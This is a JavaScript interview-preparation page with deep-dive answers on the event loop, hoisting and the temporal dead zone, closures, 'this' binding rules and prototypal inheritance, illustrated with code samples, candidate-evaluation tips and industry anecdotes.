Skip to main content

Documentation Index

Fetch the complete documentation index at: https://resources.devweekends.com/llms.txt

Use this file to discover all available pages before exploring further.

JavaScript Interview Questions (100 Deep Dive Q&A)

Senior vs Staff — what the level difference actually looks like in JavaScript interviews. A senior engineer writes modern, idiomatic JavaScript: uses let/const, understands closures and the event loop, writes clean async/await, knows when to use Map over plain objects, and can debug memory leaks with DevTools. They produce correct, readable, well-tested code and can mentor others on best practices. A staff engineer defines JavaScript architecture standards and toolchain choices across teams: they decide the module system strategy (ESM migration path), set bundler configuration and tree-shaking policies, establish performance budgets (main-thread blocking thresholds, bundle size limits), define the error-handling contract for async boundaries, choose between Web Workers and SharedArrayBuffer for compute-heavy features, evaluate when to introduce WebAssembly, architect the caching layer (Service Worker strategies, WeakRef-based caches), and write the ADRs that justify these decisions. When a staff candidate answers a question about closures, they also mention how closure-heavy patterns affect V8 hidden classes in hot paths. When they discuss the event loop, they connect it to real user-facing metrics (INP, TBT) and explain how scheduler.yield() or scheduler.postTask() improves responsiveness.

1. Core Engine & Internals (V8)

Answer: JavaScript is single-threaded but non-blocking — and the event loop is the mechanism that makes that possible. The way I think about it: the event loop is a continuous cycle that checks “is the call stack empty?” and if so, pulls the next task from the queues.Components (and what each actually does):
  1. Call Stack — The single thread of execution. Functions push frames on, return pops them off. If this is blocked, your entire UI freezes — that is why you never put a 2-second synchronous computation on the main thread.
  2. Web APIs / Node APIs — These are the browser’s C++ threads (not JS). When you call setTimeout, fetch, or add a DOM event listener, the browser handles the waiting in a separate thread. JS just registers the callback and moves on.
  3. Macrotask Queue (Task Queue)setTimeout, setInterval, setImmediate (Node), I/O callbacks, UI rendering events. One macrotask is processed per event loop iteration.
  4. Microtask QueuePromise.then/catch/finally, queueMicrotask(), MutationObserver. Always drains completely before the next macrotask or render. This is the critical detail most candidates miss.
The actual loop cycle (this is what separates good answers from great ones):
  1. Execute all synchronous code (call stack drains)
  2. Drain the entire microtask queue (including microtasks spawned by microtasks)
  3. Run one macrotask
  4. Drain microtask queue again
  5. Render (if needed — browser may skip if nothing changed, typically targets 60fps / 16.6ms)
  6. Repeat
Practical Example:
console.log('1: Sync');

setTimeout(() => console.log('2: Macrotask'), 0);

Promise.resolve().then(() => console.log('3: Microtask 1'))
  .then(() => console.log('4: Microtask 2'));

console.log('5: Sync');

// Output: 1, 5, 3, 4, 2
// All sync code runs first (1, 5)
// Then ALL microtasks drain (3, 4)
// Finally ONE macrotask executes (2)
The dangerous edge case — microtask starvation:
// This BLOCKS the event loop forever -- no macrotasks
// or renders will ever run
function infiniteMicrotasks() {
  Promise.resolve().then(() => infiniteMicrotasks());
}
infiniteMicrotasks();
// setTimeout callbacks? Never fire.
// UI rendering? Frozen.
// This is worse than an infinite sync loop because
// it is harder to diagnose.
Why microtasks have priority: Promise resolution needs to happen predictably before any I/O or rendering. If microtasks were queued behind macrotasks, you could get inconsistent state between .then() chains — for example, a state update from a resolved promise wouldn’t be visible before the next render, causing UI flicker.Production scenario: At a company processing real-time stock quotes via WebSocket, we saw UI freezes because each incoming message spawned 15+ .then() chains. The microtask queue was draining hundreds of microtasks between every single render frame. The fix was batching updates with requestAnimationFrame and reducing promise chain depth.What interviewers are really testing: Whether you understand the priority ordering of queues, can predict execution order of mixed async code, and grasp that microtasks can starve macrotasks. Senior candidates should mention the render step and explain real starvation scenarios.Red flag answer: “setTimeout with 0ms runs immediately after the current code” — this misses the entire microtask queue concept. Also: confusing Node.js process.nextTick (which runs before promise microtasks) with browser microtasks.Follow-up questions:
  • “What happens if a microtask schedules another microtask? Does the event loop move on?” — No. The microtask queue drains completely, including newly added microtasks. This is exactly how microtask starvation happens. If microtask A schedules microtask B which schedules microtask C, all three run before any macrotask or render.
  • “How does requestAnimationFrame fit into this model?” — rAF callbacks run right before the browser paints, after macrotasks and microtask draining. They are not in either queue — they are in a separate animation frame callback list. This makes rAF ideal for visual updates because you are guaranteed the browser will paint right after.
  • “How does Node.js differ from the browser event loop?” — Node uses libuv with multiple phases: timers, pending callbacks, idle/prepare, poll, check (setImmediate), close callbacks. process.nextTick runs between phases and has higher priority than even promise microtasks. In the browser, there is no process.nextTick and setImmediate only exists in IE/Edge legacy.
What weak candidates say:
  • “The event loop just runs callbacks when they’re ready.”
  • Cannot distinguish microtasks from macrotasks or predict output order of mixed async code.
  • Think setTimeout(fn, 0) runs immediately after the current line.
  • Have never heard of microtask starvation or the render step in the loop cycle.
What strong candidates say:
  • Draw the full loop cycle (sync -> microtask drain -> one macrotask -> microtask drain -> render) without prompting.
  • Immediately mention that microtask starvation blocks rendering and give a real scenario where they diagnosed it.
  • Explain requestAnimationFrame placement in the cycle and why it is distinct from both queues.
  • Connect event loop behavior to real user-facing metrics: “Microtask starvation directly impacts Interaction to Next Paint (INP) because the browser cannot paint until the microtask queue drains.”
  • Know that scheduler.postTask() and scheduler.yield() (Scheduler API) give you priority-aware scheduling beyond the basic queue model.
Follow-up chain (the interviewer keeps digging):
  1. “You mentioned microtask starvation. Can you show me code that starves macrotasks but does NOT create an infinite loop?” — Yes: a promise chain that recursively schedules 10,000 microtasks. Each one does a small amount of work and schedules the next. The macrotask queue and rendering are starved for the entire duration, but the loop eventually finishes.
  2. “Now suppose that starved rendering causes a dropped frame. How does the browser decide when to render?” — The browser targets ~16.6ms per frame (60fps). After draining the microtask queue, it checks if a frame is “due.” If the time since the last paint exceeds the frame budget, it runs style/layout/paint. But if microtasks take 50ms, that frame is lost — there is no retroactive catch-up. The browser may also skip frames if nothing visually changed (requestAnimationFrame callbacks do not fire if the tab is hidden).
  3. “How does the new Scheduler API (scheduler.postTask) change this picture?” — scheduler.postTask() lets you assign priority ('user-blocking', 'user-visible', 'background') to tasks. User-blocking tasks run before user-visible tasks, which run before background tasks. This gives you more granularity than the binary microtask/macrotask model. Combined with scheduler.yield(), you can break long tasks into chunks that yield to the browser for rendering between chunks — directly improving INP.
  4. “How would you refactor a 200ms synchronous computation to avoid blocking the main thread?” — Three approaches: (a) Move it to a Web Worker (postMessage the data, get the result back). (b) Time-slice it with scheduler.yield() or setTimeout(0) between chunks. (c) Use requestIdleCallback for non-urgent work. The choice depends on whether you need DOM access (rules out Workers) and whether the result is needed immediately (rules out requestIdleCallback).
Senior vs Staff perspective
  • Senior: Can trace execution order of mixed micro/macrotasks, knows rAF fires pre-paint, uses Web Workers when appropriate.
  • Staff: Thinks about the event loop in terms of user-facing metrics (INP, LCP, TBT), designs app-wide scheduling strategy (Scheduler API priority conventions), adds long-task detection via PerformanceObserver, uses RUM to catch microtask starvation in the wild, and makes framework choices (React Concurrent Mode, Suspense) with the event loop in mind. Also owns the “why is our app janky” investigation playbook.
Work-sample scenario: Users report the page “freezes for 2 seconds” after clicking a button. What’s your diagnosis plan?
  • Step 1: Chrome DevTools Performance tab -> record the interaction. Look for long tasks (red triangles) on the main thread.
  • Step 2: Expand the long task. Common culprits: synchronous JSON.parse of a huge payload, a nested loop iterating over a large array, synchronous render of a huge component tree.
  • Step 3: Fix options in order of effort: (a) time-slice with scheduler.yield() every 5ms, (b) move compute to a Web Worker, (c) virtualize the list if it’s a render issue, (d) stream-parse the JSON with a library that yields.
  • Step 4: Add PerformanceObserver for longtask entries, report to RUM, and alert if p95 long-task duration > 200ms.
  • Step 5: Guardrail: lint rule that flags large synchronous parse/loop patterns in hot paths.
Structured Answer Template (Event Loop)
  1. One-liner: “Single-threaded runtime + non-blocking I/O via queued callbacks.”
  2. Name the components: call stack, Web/Node APIs, macrotask queue, microtask queue.
  3. Walk the cycle: sync drain -> microtask drain -> one macrotask -> microtask drain -> render.
  4. Call out priority: microtasks always preempt macrotasks.
  5. Give a failure mode (microtask starvation) and tie it to a user-visible metric (INP / jank).
Big Word Alert — event loop: the orchestration mechanism that decides which queued callback runs next. Use this term whenever you describe why setTimeout(fn, 0) does not run immediately.
Big Word Alert — microtask queue: a high-priority callback queue drained to empty between every macrotask. Reach for it when explaining why Promise.then always runs before the next setTimeout.
Big Word Alert — INP (Interaction to Next Paint): a Core Web Vital measuring how long after a user interaction the next frame actually renders. Mention it when connecting event loop behavior to real user-facing latency.
Real-World Example: Figma’s multiplayer canvas coalesces incoming WebSocket edits inside a single requestAnimationFrame tick instead of letting each edit trigger its own microtask chain. Before that change, a fast typist on a shared document could starve the render step for 100ms+ at a time, producing the classic “cursor lag” complaint.Follow-up Q&A Chain:
  • Q: Why does queueMicrotask(fn) run before a setTimeout(fn, 0) scheduled earlier?
  • A: Scheduling order doesn’t matter across queues. The spec says drain microtasks to empty before pulling the next macrotask, so queueMicrotask always jumps the timer line.
  • Q: What’s the difference between process.nextTick and queueMicrotask in Node?
  • A: process.nextTick callbacks run before the Promise microtask queue inside the same phase. Abusing it causes starvation that even Promises can’t break through.
  • Q: How does scheduler.yield() help with INP?
  • A: It returns a Promise that resolves after the browser gets a chance to paint, so you can await scheduler.yield() mid-loop to cooperatively yield without losing your place in the function.
Answer: The way I think about this: every time JS runs code, it creates an “execution context” — a wrapper that tracks variables, scope, and this. There are two phases, and understanding them explains every hoisting question you will ever see.Phase 1 — Creation (before any code runs):
  • The engine scans the code and allocates memory
  • var declarations are initialized to undefined (this is “hoisting”)
  • function declarations are stored fully in memory — you can call them before the declaration line
  • let/const are acknowledged but NOT initialized — they enter the Temporal Dead Zone (TDZ). Accessing them throws ReferenceError
  • this binding is determined
  • The outer environment reference (scope chain) is established
Phase 2 — Execution:
  • Code runs line by line
  • Assignments happen (var a = 5 — the = 5 part happens here, not in creation)
  • Function expressions are assigned (unlike declarations, they are NOT hoisted)
console.log(a);       // undefined (var hoisted, initialized to undefined)
console.log(greet()); // "hello" (function declaration fully hoisted)
console.log(b);       // ReferenceError: Cannot access 'b' before initialization

var a = 5;
let b = 10;

function greet() { return "hello"; }

// Function EXPRESSION -- NOT hoisted
console.log(sayBye); // undefined (var is hoisted, but assignment is not)
var sayBye = function() { return "bye"; };
The TDZ is not about physical position — it is about time:
// The TDZ exists from the start of the scope
// until the declaration is executed
{
  // TDZ for 'x' starts here
  console.log(typeof x); // ReferenceError! Not even typeof is safe
  let x = 10;            // TDZ ends here
}

// Compare with var:
console.log(typeof y); // "undefined" -- no error, even if y does not exist
Execution context types:
  1. Global EC — created when the script first loads. In browsers, this = window. In Node, this = module.exports (not global).
  2. Function EC — created on every function invocation. Each call gets its own context even for the same function.
  3. Eval EC — created inside eval(). Avoid eval() entirely in production.
Real-world gotcha: In a large codebase migration from var to let/const, we saw 40+ runtime crashes in staging because code was relying on hoisting behavior — functions referenced variables declared later in the file. var silently returned undefined; let threw ReferenceError. The lesson: hoisting is not just a trivia question, it is a real migration risk.What interviewers are really testing: Do you understand the two-phase model, or do you just memorize “var is hoisted, let is not”? The nuance is that let IS hoisted (the engine knows about it) but is NOT initialized — that is the TDZ distinction. Candidates who say “let is not hoisted” are technically wrong.Red flag answer: “Hoisting moves declarations to the top of the file.” Nothing is physically moved. The engine just allocates memory in the creation phase before execution begins. Also: not knowing that function expressions behave differently from function declarations.Follow-up questions:
  • “Is let hoisted or not?” — Yes, let is hoisted — the engine knows about the variable during the creation phase. But unlike var, it is not initialized to undefined. It stays in the TDZ until the declaration line executes. This is why you get ReferenceError instead of undefined. The spec calls this “hoisted but not initialized.”
  • “What is the execution context stack and how does it relate to the call stack?” — They are the same thing. Each function call pushes a new execution context onto the stack. When the function returns, its context pops off. The currently running context is always on top. Closures work because even after a context pops, its variable environment can be referenced by inner functions.
  • “Can you get a TDZ error with const inside a default parameter?” — Yes, default parameters have their own scope. function foo(a = b, b = 1) {} throws ReferenceError because b is in the TDZ when a tries to use it as a default. Parameters are evaluated left to right.
Structured Answer Template (Hoisting)
  1. Open with the two-phase model: creation + execution.
  2. Classify each declaration type: var (initialized to undefined), function (fully hoisted), let/const (hoisted but uninitialized -> TDZ).
  3. Clarify: nothing physically moves, memory is just allocated first.
  4. Contrast function declarations vs expressions.
  5. Close with a real-world migration risk (var -> let) or a TDZ gotcha in class fields.
Big Word Alert — Temporal Dead Zone (TDZ): the time window between entering a scope and reaching a let/const declaration, during which touching the variable throws ReferenceError. Use the term any time someone asks “is let hoisted?” — the answer is yes, but it sits in the TDZ.
Big Word Alert — lexical environment: the in-memory record the engine keeps for each scope, tracking its variables and a link to the outer scope. Use this phrase when explaining how closures and the scope chain actually work under the hood.
Real-World Example: When Dropbox migrated its web app from var to let/const during a TypeScript rollout, automated codemods flipped declarations but missed a handful of places where helper functions were called before their let declaration executed. Those sites compiled fine but threw ReferenceError only at runtime under the specific order modules were loaded in production — a canonical TDZ-in-the-wild incident.Follow-up Q&A Chain:
  • Q: Why does typeof undeclaredVar return "undefined" but typeof letVarInTDZ throws?
  • A: Truly undeclared identifiers short-circuit typeof to the string "undefined" for backward compatibility. Declared-but-TDZ bindings are known to the engine, and the spec explicitly requires a ReferenceError when they’re touched.
  • Q: Are class declarations hoisted?
  • A: Classes are hoisted the same way let is — the binding exists from the top of the scope but is uninitialized, so new Foo() before the class body throws ReferenceError.
  • Q: Can two var declarations in the same scope collide?
  • A: They silently merge — var x = 1; var x = 2; is legal. let or const in the same scope throws SyntaxError at parse time, which is what you want.
Further Reading
Answer: A closure is a function that remembers the variables from the scope where it was created, even after that scope has finished executing. The key insight: closures do not capture values — they capture references to variables. This distinction causes 90% of closure-related bugs.How it works internally: When a function is created, the JS engine attaches a hidden [[Environment]] property that points to the lexical environment (variable environment) of the outer scope. Even after the outer function returns and its execution context pops off the call stack, that variable environment stays alive in memory because the inner function still references it.The scope chain: When a variable is accessed, the engine walks up: Local Scope -> Outer Function Scope -> … -> Global Scope. This chain is fixed at function creation time (lexical scoping), not at call time.
function createCounter() {
    let count = 0; // Private -- no way to access from outside
    return {
        inc: () => ++count,
        get: () => count,
        reset: () => { count = 0; }
    };
}

const counter = createCounter();
counter.inc(); // 1
counter.inc(); // 2
counter.get(); // 2
// 'count' is NOT accessible from outside, but persists in memory
// This is the Module Pattern -- JS's original way of achieving encapsulation
The classic gotcha — closures capture references, not values:
function createFunctions() {
    const fns = [];
    for (var i = 0; i < 3; i++) {
        fns.push(() => console.log(i));
    }
    return fns;
}
createFunctions().forEach(fn => fn()); // 3, 3, 3 (NOT 0, 1, 2)
// All three closures reference the SAME 'i' variable
// By the time they execute, i === 3

// Fix 1: Use let (block scope creates new binding per iteration)
for (let i = 0; i < 3; i++) { /* ... */ }

// Fix 2: IIFE creates a new scope per iteration
for (var i = 0; i < 3; i++) {
    (function(j) { fns.push(() => console.log(j)); })(i);
}
Memory retention — the hidden cost:
function heavyOperation() {
    const largeArray = new Array(1000000).fill('data'); // ~8MB
    const config = { key: 'value' };
    
    return function() {
        // This closure keeps largeArray AND config in memory
        return largeArray.length;
    };
}

const fn = heavyOperation();
// largeArray cannot be garbage collected while fn exists
// Even though 'config' is never used by the inner function,
// some engines keep it alive too (V8 is smart enough to optimize
// this in many cases, but not always)
Real production memory leak I have seen:
// Express.js middleware that leaked 2GB over 48 hours
function createLogger(req) {
    const requestBody = req.body; // Could be 10MB file upload
    const startTime = Date.now();
    
    return function logResponse(res) {
        // Closure keeps entire requestBody in memory
        // until this function is GC'd
        console.log(`${Date.now() - startTime}ms`);
        // requestBody is never used but never released
    };
}

// Fix: only close over what you need
function createLogger(req) {
    const bodySize = req.body?.length || 0; // Capture the value, not the object
    const startTime = Date.now();
    
    return function logResponse(res) {
        console.log(`${bodySize} bytes in ${Date.now() - startTime}ms`);
    };
}
Practical uses in production code:
  • Data privacy / encapsulation (Module pattern, before ES modules)
  • Currying and partial application (const add5 = add(5))
  • Factory functions (React hooks like useState use closures internally)
  • Event handlers that need access to setup-time state
  • Memoization (cache lives in the closure)
What interviewers are really testing: (1) Do you understand reference vs value capture? (2) Can you identify closure-related memory leaks? (3) Do you know the var-in-loop problem and why let fixes it? Senior candidates should mention the performance implications and real debugging stories.Red flag answer: “A closure is a function inside a function.” That is the syntax for creating one, not what a closure is. Also: not knowing that closures capture references (failing the var loop question).Follow-up questions:
  • “How would you debug a memory leak caused by closures in production?” — Chrome DevTools Heap Snapshots. Take a snapshot, trigger the suspected leak (e.g., navigate to a page and back in an SPA), take another snapshot, then compare “Objects allocated between snapshots.” Look for (closure) entries that should have been GC’d. The “Retainers” panel shows you exactly which closure is holding what. In Node.js, use --inspect flag and connect Chrome DevTools, or use heapdump npm package to take snapshots programmatically.
  • “Do closures affect performance? When should you avoid them?” — Closures themselves are cheap — the engine optimizes them well. The performance concern is memory: if a closure captures a large object it does not need, that object stays alive. In hot loops creating thousands of closures per second (e.g., array .map() on large datasets), the GC pressure from short-lived closures can cause jank. In React, creating closures in render is fine for most cases — the useCallback optimization only matters when the closure is passed to memoized children.
  • “Explain how React hooks depend on closures, and what the ‘stale closure’ bug is.” — Every time a React component renders, the function body runs fresh, creating new closures over the current state values. The stale closure bug happens when a useEffect or event handler captures a state value from an earlier render and never gets updated. Classic example: a setInterval inside useEffect that captures the initial count value. Each tick logs the same stale value. Fix: use a ref (useRef) to always point to the latest value, or use the functional form of setState (e.g., setCount(prev => prev + 1)).
What weak candidates say:
  • “A closure is when you define a function inside another function.”
  • Cannot explain why the var loop problem occurs or why let fixes it.
  • Think closures “copy” variables rather than capturing references.
  • Cannot identify closure-related memory leaks in a code snippet.
What strong candidates say:
  • Immediately distinguish reference capture vs value capture and give the var loop example unprompted.
  • Explain the [[Environment]] internal slot and how the scope chain is fixed at creation time (lexical scoping).
  • Describe a real production memory leak they found via closures — with the tool they used (Chrome Heap Snapshot, --inspect on Node) and the fix (capturing only needed values, not the entire outer scope).
  • Connect closures to React’s stale closure bug and explain both the ref pattern and the functional setState pattern as fixes.
  • Know that V8 can optimize closures by only retaining variables actually referenced by the inner function (dead variable elimination), but that eval inside the inner function defeats this optimization entirely.
Follow-up chain:
  1. “If closures capture references, how does V8 decide which variables to keep alive in the closure?” — V8 performs static analysis during parsing. If the inner function references x but not y, V8 creates a “context object” containing only x. The variable y can be garbage collected even though it was in the same outer scope. However, if the inner function uses eval(), V8 must keep ALL variables alive because eval could reference any of them at runtime.
  2. “You mentioned closures retain the entire outer scope in some cases. Can you give me an example where this causes a non-obvious memory leak?” — A common pattern: an event handler closure that captures a reference to a large DOM element or data array it does not actually use. For example, function setup() { const hugeData = fetchData(); const id = hugeData.id; element.onclick = () => console.log(id); } — in some engines, hugeData is retained because the closure’s context object includes the entire scope, not just id. The fix is to null out large references after extracting what you need: hugeData = null.
  3. “How do closures interact with the module pattern and ES modules?” — The module pattern (IIFE returning an object) uses closures for encapsulation — private variables live in the IIFE’s scope and are accessible only through the returned methods. ES modules achieve the same effect differently: each module has its own scope, and only exported bindings are accessible. The key difference is that ES module exports are live bindings (the importer sees updates), while closure-based module pattern exports are snapshots unless you expose getter functions.
Structured Answer Template (Closures)
  1. Define it: a function + the lexical environment it was created in.
  2. State the key property: captures references, not values.
  3. Show a use case (private state, factory, memoization).
  4. Show the var-in-loop gotcha and the let fix.
  5. End with memory implications — what the closure keeps alive.
Big Word Alert — closure: a function paired with the scope it was created in, so it can still read those variables after that scope exits. Reach for the term any time encapsulation or private state comes up in JS.
Big Word Alert — lexical scoping: scope is decided by where code is written, not where it’s called. It’s why arrow functions and closures are predictable — the scope chain is fixed at definition time.
Real-World Example: React Hooks are closures by design. When Meta rolled out Hooks across facebook.com, the “stale closure” bug caused real incidents — an event handler inside useEffect(..., []) would capture the initial state forever, so a notification badge stopped updating after the first render. The team’s fix guidance (use refs or the functional setState(prev => ...)) is essentially a closure-escape hatch.Follow-up Q&A Chain:
  • Q: Can a closure cause a memory leak if the inner function is never called?
  • A: Yes — as long as a reference to the inner function is reachable (stored in an array, attached to a DOM node, held by a timer), the captured scope stays alive even if the function is never invoked.
  • Q: Does eval defeat closure optimizations?
  • A: Yes. V8 normally keeps only variables the inner function actually references, but eval could refer to any outer variable at runtime, so the engine conservatively keeps the whole scope alive.
  • Q: How is a closure different from a class instance?
  • A: Both give you encapsulated state with methods, but classes expose structure via the prototype (shared methods, instanceof checks), while closures expose only what the returned object/function deliberately surfaces. Closures win on true privacy; classes win on introspection and inheritance.
Further Reading
Answer: this in JavaScript is not determined by where a function is defined — it is determined by how the function is called. This is the single most confusing concept for developers coming from class-based languages like Java or C#. There are exactly four rules, applied in priority order.The Four Rules (highest to lowest priority):
  1. new Bindingnew Constructor(). A fresh empty object is created, this points to it, and it is returned implicitly. This is how constructor functions and classes work.
  2. Explicit Bindingfn.call(obj), fn.apply(obj), fn.bind(obj). You manually specify what this should be. bind returns a new permanently bound function; call/apply invoke immediately.
  3. Implicit Bindingobj.method(). The object left of the dot at call time becomes this. This is the most common and the most easily broken rule.
  4. Default Bindingfn() with no context. this = window in browsers (sloppy mode) or undefined (strict mode). This is the “fallback” and the #1 source of this-related bugs.
The special case — Arrow Functions: Arrow functions have NO this binding of their own. They lexically inherit this from the enclosing execution context at creation time. You cannot override it with call, apply, or bind. This is by design — it makes them ideal for callbacks.
const obj = {
    name: 'Object',
    regular: function() { console.log(this.name); },
    arrow: () => { console.log(this.name); }
};

obj.regular();  // 'Object' (implicit: obj is left of dot)
obj.arrow();    // undefined (lexical this = module/window scope, not obj)

const fn = obj.regular;
fn();           // undefined in strict mode (default binding -- context lost!)

// Explicit binding overrides default
fn.call(obj);   // 'Object'
fn.apply(obj);  // 'Object'

const bound = fn.bind(obj);
bound();        // 'Object' (permanently bound, cannot be overridden)

// Even 'new' cannot override bind... or can it?
// Actually, 'new' DOES override bind -- this is an edge case:
const BoundConstructor = function(name) { this.name = name; }.bind({ name: 'ignored' });
const instance = new BoundConstructor('wins');
console.log(instance.name); // 'wins' -- new binding trumps bind
The implicit binding loss — the #1 this bug in production:
class EventTracker {
    constructor() {
        this.events = [];
    }

    // Regular method -- 'this' depends on call site
    trackEvent(event) {
        this.events.push(event); // works when called as tracker.trackEvent()
    }
}

const tracker = new EventTracker();

// Passing as callback LOSES implicit binding
document.addEventListener('click', tracker.trackEvent);
// When the click fires: this === the DOM element, not tracker
// TypeError: Cannot read properties of undefined (reading 'push')

// Fix 1: bind in constructor
constructor() {
    this.trackEvent = this.trackEvent.bind(this);
}

// Fix 2: Arrow function class field (most common in React)
trackEvent = (event) => {
    this.events.push(event); // 'this' is always the instance
}

// Fix 3: Wrapper arrow at call site
document.addEventListener('click', (e) => tracker.trackEvent(e));
call vs apply vs bind — when to use which:
  • call(thisArg, arg1, arg2) — invoke immediately, pass args individually. Use when you know the exact args.
  • apply(thisArg, [args]) — invoke immediately, pass args as array. Classic use: Math.max.apply(null, numbers) (though spread Math.max(...numbers) replaced this).
  • bind(thisArg, arg1) — returns a NEW function with this permanently set. Use for event handlers, callbacks, partial application. Has memory overhead (creates a new function object).
What interviewers are really testing: Can you predict this in any code snippet? Do you understand why implicit binding breaks when passing methods as callbacks? Senior candidates should explain the arrow function trade-off (no this, no arguments, cannot be used as constructor) and when bind in constructor vs arrow class fields is preferred.Red flag answer: “I just always use arrow functions so I don’t have to think about this.” Arrow functions are not always appropriate — you cannot use them as methods on a prototype (they would capture the wrong this), as constructors, or in cases where you need dynamic this (like jQuery event handlers or Vue options API).Follow-up questions:
  • “Why can you not use arrow functions as constructors?” — Arrow functions have no [[Construct]] internal method and no prototype property. new requires both. The engine will throw TypeError: X is not a constructor. This is a deliberate spec decision — since arrow functions capture this lexically, the new binding rule would conflict with the lexical binding.
  • “In React class components, what is the performance difference between binding in the constructor vs using arrow class fields?” — Arrow class fields create a new function per instance on the instance itself (not on the prototype). If you have 1000 instances, you have 1000 copies of that function. bind in the constructor does the same thing. The real difference: arrow class fields are cleaner syntax but cannot be overridden in subclasses (they are own properties, not prototype methods). For React components you almost never subclass, so arrow fields win on readability.
  • “What does this refer to inside a setTimeout callback, and how do you control it?” — In a regular function callback, this defaults to window (browser, sloppy mode) or undefined (strict). In an arrow callback, this is inherited from the enclosing scope. This is why setTimeout(() => this.update(), 100) works inside a class method but setTimeout(function() { this.update(); }, 100) does not. The arrow function closes over the method’s this.
What weak candidates say:
  • “I always use arrow functions so I do not have to worry about this.” This ignores cases where arrow functions are wrong (prototype methods, dynamic this contexts, constructors).
  • Cannot predict this in a code snippet involving method extraction (const fn = obj.method; fn()).
  • Think bind changes the original function rather than returning a new one.
What strong candidates say:
  • Recite the four rules in priority order without hesitation and correctly predict this in any snippet.
  • Explain that arrow functions have no [[Construct]] internal method, which is why new ArrowFn() throws.
  • Know that new overrides bind — the only case where a bound function’s this is not respected.
  • Discuss the performance tradeoff: arrow class fields create a function per instance (own property), while prototype methods with bind in the constructor do the same thing with different inheritance semantics.
  • Mention that in React, the move from class components to function components largely eliminated this confusion, but it introduced the stale closure problem instead.
Structured Answer Template (this)
  1. State the rule: this is set by how a function is called, not where it’s defined.
  2. List the four rules in priority: new > explicit (call/apply/bind) > implicit (obj.m()) > default (window/undefined).
  3. Cover arrow functions as the special case: lexical this, no rebinding.
  4. Show the “method lost its context” callback bug.
  5. Give the fix menu: bind in constructor, arrow class field, or wrapper arrow at call site.
Big Word Alert — binding: the engine’s act of deciding what this refers to for a given call. Every interview discussion of this is really a discussion about binding rules.
Real-World Example: Early Airbnb React code used bind in the constructor for every click handler. When class property syntax became standard, the team migrated to arrow class fields (onClick = () => ...) because it eliminated an entire class of “undefined is not a function” bugs when a handler was passed down through props — the implicit binding was no longer at the mercy of the parent’s call site.Follow-up Q&A Chain:
  • Q: What is this inside a standalone module file at the top level?
  • A: In an ES module, top-level this is undefined. In a CommonJS module, top-level this is module.exports. That difference surprises a lot of people migrating to ESM.
  • Q: Can you rebind an arrow function with .call(otherThis)?
  • A: No — the thisArg is silently ignored. Arrow functions don’t have their own this binding slot, so call/apply/bind can only affect the arguments, not the context.
  • Q: Why does new boundFn() ignore the bound this?
  • A: new installs a fresh object as this before the body runs, and the spec gives new priority over bind. The bound arguments still apply, but the bound this is discarded.
Further Reading
Answer: JavaScript does not have classical inheritance — it has prototypal delegation. When you access a property on an object and it does not exist, the engine walks up the prototype chain until it finds it or hits null. The class keyword (ES6) is syntactic sugar over this prototype mechanism. Under the hood, class Dog extends Animal does exactly what Object.create(Animal.prototype) does — it just looks cleaner.How the chain actually works:
  • Every object has an internal [[Prototype]] slot (accessible via __proto__ or Object.getPrototypeOf())
  • When you do obj.prop, the engine checks: own property? If no, check obj.__proto__. If no, check obj.__proto__.__proto__. Continue until null.
  • This is delegation, not copying — the method lives on the prototype, not on each instance. 1000 Dog instances share ONE bark function on Dog.prototype.
The old way (constructor functions) — you should understand this for legacy code:
function Animal(name) {
    this.name = name;
}
Animal.prototype.speak = function() {
    console.log(`${this.name} makes a sound`);
};

function Dog(name, breed) {
    Animal.call(this, name); // "super" -- borrow Animal's constructor
    this.breed = breed;
}

// Wire up the chain -- Dog instances delegate to Animal.prototype
Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog; // Fix the constructor reference

Dog.prototype.bark = function() {
    console.log(`${this.name} barks!`);
};

const dog = new Dog('Rex', 'Lab');
dog.bark();  // Own prototype method
dog.speak(); // Inherited from Animal.prototype
dog.toString(); // Inherited from Object.prototype
// Chain: dog -> Dog.prototype -> Animal.prototype -> Object.prototype -> null
The modern way (classes) — identical prototype chain under the hood:
class Animal {
    constructor(name) { this.name = name; }
    speak() { console.log(`${this.name} makes a sound`); }
}

class Dog extends Animal {
    constructor(name, breed) {
        super(name); // Must call before using 'this'
        this.breed = breed;
    }
    bark() { console.log(`${this.name} barks!`); }
}

// Prove it is the same mechanism:
console.log(typeof Dog); // "function" -- classes are functions
console.log(Dog.prototype.__proto__ === Animal.prototype); // true
What class adds that constructor functions do not:
  • super() calls (cleaner than Parent.call(this))
  • static methods (on the constructor, not the prototype)
  • Private fields (#field) — true encapsulation, not convention
  • extends works with built-ins (class MyArray extends Array actually works correctly, unlike the constructor function approach which breaks array length behavior)
Performance implications:
  • Property lookup through 2-3 prototype levels is effectively free — V8 uses inline caches that short-circuit the chain after the first access
  • Deep chains (5+ levels) can cause polymorphic/megamorphic inline cache misses, slowing access by 5-10x
  • hasOwnProperty() is the way to check if a property is directly on the object vs inherited. In modern code, use Object.hasOwn(obj, prop) (ES2022) which does not have the gotcha of being overridable
What interviewers are really testing: Do you understand that class is sugar, not a new paradigm? Can you draw the prototype chain for a given set of objects? Senior candidates should explain the delegation vs copying distinction and know when prototypal inheritance causes issues (e.g., shared mutable state on the prototype).Red flag answer: “JavaScript has classes just like Java.” This shows a fundamental misunderstanding. Also: using __proto__ in production code (it is a legacy accessor, not a standard API — use Object.getPrototypeOf/Object.setPrototypeOf).Follow-up questions:
  • “What happens if you put a mutable value (like an array) on the prototype?” — Every instance shares the SAME array. Animal.prototype.friends = [] means dog1.friends.push('Rex') affects dog2.friends too. This is the classic shared state bug. Instance-specific data must go in the constructor via this.friends = []. This is one of the main reasons constructor functions (and classes) exist — to initialize per-instance state.
  • “How does instanceof work internally?” — It walks the prototype chain of the left operand and checks if Constructor.prototype appears anywhere. dog instanceof Animal is true because Animal.prototype is in dog’s chain. This means you can fool instanceof by reassigning prototypes after object creation. Symbol.hasInstance lets you customize this behavior.
  • “When would you choose composition over prototypal inheritance?” — When you need flexible combinations of behaviors. Inheritance gives you one chain; composition lets you mix. In practice, favor composition for business logic (mixins, higher-order functions, strategy pattern) and use classes/inheritance for framework-level concerns (extending React.Component, Error subclasses). Deep inheritance hierarchies (>2 levels) become brittle — the “fragile base class” problem.
Structured Answer Template (Prototypes)
  1. Lead with: JS uses delegation, not classical inheritance.
  2. Explain [[Prototype]] lookup + chain traversal.
  3. Clarify that class is sugar over the same machinery.
  4. Contrast instance state (in constructor) vs shared state (on prototype).
  5. End with a trade-off: deep inheritance vs composition.
